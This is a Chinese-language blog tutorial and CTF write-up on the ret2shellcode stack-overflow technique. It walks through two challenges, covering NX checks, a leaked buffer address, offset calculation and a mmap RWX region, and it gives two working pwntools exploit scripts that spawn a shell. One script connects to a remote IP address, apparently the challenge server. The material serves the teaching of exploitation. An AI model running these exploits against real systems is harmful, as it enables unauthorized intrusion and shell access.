ret2shellcode

上篇讲了ret2text这里看看更难一点的ret2shellcode.

shellcode就是可以获取shell的一段代码,在ret2shellcode里面这个代码一般不用我们去写,对他很智能它可以自己生成,用pwntools里的shellcraft.sh()语句去生成。那么是不是所有的题目都可以不用我们自己去写代码,自己就把自己pwn掉呢?当然不是。

image

一般来说,判断一个题目可不可以用ret2shellcode的方法去打,最简单的方法就是看NX保护开没开,开了就不能,没开就可以。当然这个不是绝对的,肯定是有的。这个我们后面再说。先说一下为什么没开NX就可以用ret2shellcode的方法。

NX:即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。

简单来说就是,开了NX就是开启了栈不可执行,没开就是栈可执行。那么栈不可执行会给我们带来什么影响呢。如果栈不可执行,我们写入的shellcode就不可执行,那么即使我们的shellcode写对了,程序不执行,有毛球用。
当然写入shellcode也需要栈有可读可写权限。怎么看有没有可读可写可执行权限呢。

可以开启gdb,让程序run起来,用vmmap指令,当你看到这条信息时,就证明有可读可写可执行权限。
image
有了这些检查,我们确定了一道题是否可以用ret2shellcode的方法去打。现在看一道实例。

首先checksec一下。

image

image

这里是mian函数

image

这里是漏洞函数,一般怎么判断是否为漏洞函数,有一个方法,可以看输入在哪里,因为我们是利用栈溢出进行攻击,栈溢出一定要有输入并溢出,所以就很明显了。

我们直接看到漏洞函数,这里有一个注意点,printf函数,这里他的参数是buf,而我们输入的地方也是buf数组,这里有一个输出,我们试着跑一下。

image

可以看到,多了一个地址,这个是什么呢?数据不可能凭空出现,这个是栈上的的buf地址。因为数组名就是地址。

这个就可以当作我们的retaddress。然后现在又了retaddrss,看看偏移量

image

全部都有了,用asm(shellcraft.sh())生成 shellcode再送进去就可以了思路大概就是这样。

附上完整脚本。

点击查看代码
from pwn import *
io=process("./level1")
shellcode=asm(shellcraft.sh())
text = io.recvline()[14: -2]
buf_addr = int(text, 16)
payload=shellcode+'\x90'*(0x88+0x4-len(shellcode))+p32(buf_addr)
io.sendline(payload)
io.interactive()

注意:这里用的shellcode是有长度的汇编语言,不能和数据等等那些其他类型的东西连接在一起。我们也需要保证溢出,所以这里(0x88+0x4-len(shellcode))不难理解吧。

"\x90"是nop,其实也可以用别的,只是这个更不容易出问题,毕竟是nop指令。

基本的ret2shellcode就是这样。

接下来我们看看一道特殊的ret2shellcode。

image

这题开了NX保护,很奇怪。我们用ida pro看看反汇编代码。

main是这样的

image

sub_4007F8是这样的

image

sub_400786是这样的

image

我们看到这里开了NX保护,这不是和我们刚刚开始说的矛盾吗,可是题目叫shellcode,出题人不会这么无聊进行这种低端诱导。这里我们看到一个函数。
mmap函数

image

image

其实说白了,mmap就是给我们开了一个可读可写可执行的空间,这样就解决了NX保护开启的问题。

接下来我们分析下程序。

image

sub_4007F8 没有用。buf是我们用mmap开辟的空间。输出一串字符,然后就是输入,他这里字符串的意思就是要我们给它shellcode,重要的部分来了,这里有一个判断,进去看看

image

这里可以分析一下,发现是个追击类型的循环,但是我们如果看看外面的大循环的话,就会发现只要*a1为0,就可以直接绕过循环,避免循环去破坏我们构造好的shellcode那么这样就可以知道一个大概思路了。

附上完整脚本

点击查看代码
from pwn import*
context(os = 'linux', arch = 'amd64', log_level = 'debug')
io=remote('47.96.253.167',10001)
#io=process("./shellcode")
payload='j\x00'+asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
#print(asm('push 0x00'))

代码很简单,但是注意一个点,payload='j\x00'+asm(shellcraft.sh())这里的payload。它前面'j\x00'是什么,其实就是0的汇编语言对应。因为shellcode是汇编语言如果和0直接加上放在一起,就会破坏掉shellcode的本体结构,因为计算机不能分辨除数据和汇编。具体这么获得汇编语言,可以看我最后一行print(asm('push 0x00')).

这样大概就是一些简单的shellcode的介绍。

posted @ 2022-05-12 10:08  REPWNER  阅读(31)  评论(0)    收藏  举报